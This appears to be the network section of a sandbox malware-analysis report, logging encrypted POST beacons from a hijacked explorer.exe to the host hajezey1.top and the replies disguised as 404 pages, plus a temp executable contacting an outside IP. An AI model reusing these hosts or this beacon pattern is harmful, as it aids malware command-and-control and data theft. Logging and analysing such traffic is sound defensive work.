Oct 29, 2021 20:10:48.989556074 CEST	9919	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8e 66 5d 02 c8 a1 c1 64 37 9a d3 67 Data Ascii: Mw:xGcDATwmwu$f]d7g=sk+\|i=Z\|5Cpn47z\|/YO0SBA,\|LW;U#1bHRI~d@oON2c=u n:DrDpTGa
Oct 29, 2021 20:10:49.069186926 CEST	9920	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 1d 16 4d aa 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 a1 a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5c d8 06 0e 45 27 11 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b 0e e1 a2 22 48 f2 d0 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19 d1 3a 2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d 7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 02 43 64 cd 25 5c 8d b7 d7 21 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 e1 48 50 67 35 50 b8 81 be f0 80 de 5b 46 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 85 62 4a 52 7d 54 7a 08 6c 39 c0 5e f3 5c 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 47 4e a1 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 3d 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 e1 a3 c3 e5 0f 25 93 23 c4 a9 d7 cf 8e 3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 a1 0c 97 e4 6e 76 f9 14 34 0b 64 82 b2 64 4f 55 e0 ca 5e c3 bd c0 88 0b 54 d9 1d 69 7a de ff 3d e1 03 70 2e 1f f4 d4 6a a9 a9 16 da 68 22 bd c8 cb cf 3f ef c8 a9 a6 cc d5 02 47 71 98 66 3c 3d f8 bf cb 67 3f d8 97 24 a9 b9 fc f0 ba e8 57 2d c8 a1 11 19 af 7b 69 ad 72 5b 80 1c 97 36 db 64 11 82 f5 51 aa 3b c5 da a7 f1 7d 87 02 f3 35 43 25 11 00 ac 49 1d 02 a1 b7 28 e4 f0 f7 11 41 a6 a4 87 35 ce 19 c3 ce 85 d5 3a 94 d4 1b e4 2f 62 f1 22 27 c6 99 0a d7 d9 76 c5 89 10 c1 8b ba 97 28 35 bd a8 8f 59 9d 9b cf d5 f5 de 35 1f 98 92 f2 b2 6a 05 85 85 0a 9f 12 6f 03 62 53 b5 f8 80 99 8b 84 80 7f 1d b8 78 c0 b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 c7 8e 07 e8 df 4a 17 7a 8d 42 14 7e 26 a0 81 ba 07 47 7d bb fb ce 3b 33 f0 82 6c 27 b4 e3 e4 ce 70 68 98 3b 6a fe da 3d b3 f5 3f 78 81 42 7b f9 e8 f0 85 a5 46 e5 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8\|M+%t+xQ<e2P0YObyT=a'4! YU\dIXKg[Ge92)g z6\E'}WpHk"HI?o\|6NI[LeU[0z;+W~5=PVpGZlqV@q!UvyOZ:-A%GkKm@NQ>[J8},s"JG0Z"?kQTJMQCd%\!&Q#F<pvA>C/CbGBj4VFv2Bo]6HPg5P[Fj6'NGc_,/DO9W%bJR}Tzl9^\mc=>"}h`1%@GN!K.iwA0!Wnawjg";kzRN{},zHB(yw+;5lo?hs#9Acw9kwN7&,XwlH%f4-ow^7Hg7;=g&9c0{%#=9FX?SCnv4ddOU^Tiz=p.jh"?Gqf<=g?$W-{ir[6dQ;}5C%I(A5:/b"'v(5Y5jobSxF/Mv#JzB~&G};3l'ph;j=?xB{F
Oct 29, 2021 20:10:49.069252014 CEST	9922	IN	Data Raw: bb 63 eb 97 62 c6 70 d9 31 d3 48 45 72 08 8e c1 6c c4 f3 bc f0 be bf 3e 00 d0 6f 88 05 42 76 8c 9e 94 74 8d 47 41 99 84 05 8c e3 ec 9c 6d 56 30 c8 35 61 dd a7 36 09 c7 3e 76 f3 6b df c8 a7 d3 71 5d 03 45 3b e9 b4 15 54 57 70 3b 8b 38 7c e0 b5 55 Data Ascii: cbp1HErl>oBvtGAmV05a6>vkq]E;TWp;8\|UfG3Q2 !Sj^OM-GIKUtJYAVl>\|5F)s_S3kD--(X!+]1B#&;mW>=H\|a0//1
Oct 29, 2021 20:10:49.069291115 CEST	9923	IN	Data Raw: 67 72 b1 90 17 d6 13 88 bd 8c 88 a4 cb 39 fc d0 f6 a4 6d cb 7d 7b df 3e 86 59 15 7c ce b7 a2 a0 6c a8 1c 94 53 5a 61 5f 29 c9 f9 dc 9b 27 58 b8 ad 7c 0a 9e 68 fa 03 2f dc ec 5c ee a5 9e b6 77 b2 62 c1 2a 6a ac a6 cd 97 a8 c1 13 f4 6c 81 c2 eb 98 Data Ascii: gr9m}{>Y\|lSZa_)'X\|h/\wbjl]_L4Yx}ZnQ.C6{N[-n~52bg}MH>OuR>#AZDsC_kT\1zu@.r)7:R>qS=#
Oct 29, 2021 20:10:49.069365978 CEST	9925	IN	Data Raw: 83 da e5 3c 8a 86 60 07 42 99 7d 83 3d 9b f5 8d 3f e3 1e 40 8f 85 58 4b 44 80 02 ce a3 a7 bf 09 df 10 66 b8 c7 fc 3d 17 cd b2 b3 fd 67 6c fa 88 6c 20 09 9e 59 a6 56 69 b7 7a b1 6a df 1c 85 da 9c f1 61 6f 47 04 72 78 87 dd 84 2b b8 b4 c9 8d 24 47 Data Ascii: <`B}=?@XKDf=gll YVizjaoGrx+$GRTv!8IXf,W0:FJpSz)%$%^:{-u@[l{4[`VSr&FjWh:!v #N:<Id,b7)di( nUM
Oct 29, 2021 20:10:49.069408894 CEST	9926	IN	Data Raw: 88 66 53 73 4c 6e 1c 51 61 2f d0 47 c6 77 4d 13 ae f7 53 ee db 7b a2 dd d3 48 75 78 ed 87 0a 3c 84 b5 b9 29 4d 31 e0 d5 d4 a9 d1 a2 00 40 42 94 be 8b 03 68 5a bf 2e d9 6d e5 66 21 25 16 d9 3e 11 b2 dd 07 6d 7e 03 7b a5 52 5a 0e f6 0c 87 ec 40 92 Data Ascii: fSsLnQa/GwMS{Hux<)M1@BhZ.mf!%>m~{RZ@d+Uu)7`\|QME{Qj.x}/xbF2Q QQv$P,fpUuq?q5]+2o>l*K_$m ?\a?L >yG7GUw#=Q{(ivxf&;t
Oct 29, 2021 20:10:49.069473028 CEST	9927	IN	Data Raw: 80 27 9f 37 91 e3 fd 60 4f b6 2a 52 e0 09 d6 35 74 c1 3a fa e4 ce 8d a1 b6 00 e2 5f f4 4e c1 ed 5e f9 e2 29 67 27 fc f2 22 05 4e d8 13 cf 85 06 f7 98 cc 49 2c 8e 7a e9 4d 2f f2 3c 00 c3 aa 8a 2b d3 c9 09 d1 f9 b0 3c 59 e4 84 6b 18 29 ed fd 09 7f Data Ascii: '7`OR5t:_N^)g'"NI,zM/<+<Yk)xfOg.kQ;OZ!tBQ,!4S'v$>v9gUzS`Hgl'L_6r tJIs#+7im:tRih8V"Gmkn[#`xT5NIs
Oct 29, 2021 20:10:49.069514036 CEST	9929	IN	Data Raw: 47 7b 94 d2 a3 49 39 98 48 a1 db fb 87 cf 2c a5 4d cd 83 82 13 a7 1e e1 19 80 32 7a 5c 85 06 7a c4 53 e5 bb a6 dc 19 71 c4 4c c5 3b 59 cd 78 23 89 f5 11 db c8 79 8f 57 07 37 55 df 58 c5 4e 13 8d cf c4 0c c1 9b 4b e3 7d 5c 65 77 66 38 47 d3 96 14 Data Ascii: G{I9H,M2z\zSqL;Yx#yW7UXNK}\ewf8Gg=sRk_7-9YHH<I4:RqGM<ZLWggR'3uB'$@HE8Y}]jmv?2000vS`;Ao@%g647;jk%jK/df-
Oct 29, 2021 20:10:49.069574118 CEST	9930	IN	Data Raw: a8 06 0c e8 7f 36 2e 98 7b a6 bb 34 16 c6 71 81 b3 8c 7e 38 23 52 07 70 1d 15 bc d6 21 37 6e 61 71 d1 c1 b9 f7 0a d1 c6 ac d8 54 c3 92 ae 30 5a 93 7a 14 2f 14 d2 e3 94 97 a7 57 57 be c0 57 8e 85 63 f2 13 5b ca 4a a1 67 45 38 ae d8 46 8c c3 68 bc Data Ascii: 6.{4q~8#Rp!7naqT0Zz/WWWc[JgE8FhsW-\SpH:.Zzzom,xnX_Bz=:l!<Wp@FK.+lcig$h{)0"Dq/WH/`v8`w:4%0dD
Oct 29, 2021 20:10:49.069612980 CEST	9931	IN	Data Raw: 70 ce b3 a6 39 32 dd 00 07 3f 66 02 14 f0 4c c0 cf 32 e1 ce d2 7b 3b 20 56 75 1a d6 bb f9 b8 4a cc 24 c1 13 36 d5 51 be 59 70 57 e6 64 52 e8 49 62 29 08 16 28 83 34 bd 3d 1e 0b 15 29 23 be 63 04 b7 49 22 1c 7e 11 10 de d6 03 09 3d dc 23 c0 74 73 Data Ascii: p92?fL2{; VuJ$6QYpWdRIb)(4=)#cI"~=#tss$)xHu&A vg4g{E?2{)7fteL}m z8+T\|FG(o:'?:7r3C_%XF-jzH/J`b9rOTF571
Oct 29, 2021 20:10:49.069653034 CEST	9933	IN	Data Raw: 31 f2 33 fb 35 91 c2 26 81 b9 85 6a ea 51 c7 c4 33 2d c7 28 11 6d 66 c7 fc d0 aa af 2a 01 d7 35 41 a6 e3 db f4 0b 35 10 a6 3a f4 09 88 6f 6f 60 2e e0 0f f1 81 1b 1f 65 64 b7 e4 2a 10 f2 d2 5c e2 3d 42 7f cb 42 14 63 02 e7 b5 90 1b 4c 3f 8e 8e 3f Data Ascii: 135&jQ3-(mf5A5:oo`.ed\=BBcL??IQd=b02]dvQ[$'] P\rg9@L(pnD}eAl0WoZ#k"}y$`Bo>>Rro2W,.E~T$xuu]]:LS=q
Oct 29, 2021 20:10:49.123291016 CEST	9934	IN	Data Raw: 6b af 3a 79 b9 22 99 bd e3 07 b4 23 e8 8a bd ef bf 8c 1a 3e 42 ea 05 00 31 40 aa f7 d1 aa 29 57 70 33 61 b0 ec ea 9d 46 0a 33 e7 80 a7 54 f7 a5 91 dc b1 4c 05 85 39 df c3 75 48 af 6c fc 82 8a 6b 52 77 21 c3 6c e5 c9 32 98 75 10 74 85 e7 8f 19 8a Data Ascii: k:y"#>B1@)Wp3aF3TL9uHlkRw!l2utY'%voA2f/,;zpG7_gxb<ASp>U7Y,9f1O ^"@&(7Nqw#Fn`0/};%*Pt^

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.5	49818	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:50.812760115 CEST	10087	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jxvawpr.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 164 Host: hajezey1.top
Oct 29, 2021 20:10:50.812769890 CEST	10088	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 8e 66 5d 02 c9 a1 c1 64 35 ac dd 2d Data Ascii: Mw:xGcDATwmwu$f]d5-+22I]U3!`^h}~O^#h`!N%Z4kbe[&)P[D{[P
Oct 29, 2021 20:10:50.890203953 CEST	10088	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49826	162.159.133.233	443	C:\Users\user\AppData\Local\Temp\77DC.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.5	49819	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:50.984064102 CEST	10089	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ctbemocusw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 178 Host: hajezey1.top
Oct 29, 2021 20:10:50.986298084 CEST	10089	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8f 66 5d 02 c8 a1 c1 64 1b d8 8d 1e Data Ascii: Mw:xGcDATwmwu$f]d5e"dN_ $53yU%}n6nY>$X>GG*:v$'@67YFo5kR58N?=
Oct 29, 2021 20:10:51.067217112 CEST	10090	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.5	49820	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:51.153032064 CEST	10091	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wofjmrw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 368 Host: hajezey1.top
Oct 29, 2021 20:10:51.153038025 CEST	10091	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8c 66 5d 02 c8 a1 c1 64 56 b8 ae 19 Data Ascii: Mw:xGcDATwmwu$f]dV"pRAU%Kuv\Is9sbohIg=WFQaKUJ9:_K]^A7/y$#$Ex? :afp)JMex~3#Z6O
Oct 29, 2021 20:10:51.230870008 CEST	10092	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.5	49821	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:51.316617012 CEST	10093	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xdcmurwfts.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 260 Host: hajezey1.top
Oct 29, 2021 20:10:51.316679955 CEST	10093	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8d 66 5d 02 c8 a1 c1 64 3d 82 b2 21 Data Ascii: Mw:xGcDATwmwu$f]d=!FpQSGtU_XVHEvePm4'{.aGBugpL"\|0 Q@ev4<"7^jH-9?ywg>kfnBK^{qs)@B8
Oct 29, 2021 20:10:51.397310972 CEST	10094	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.5	49822	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:51.494786024 CEST	10094	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://drroxf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 173 Host: hajezey1.top
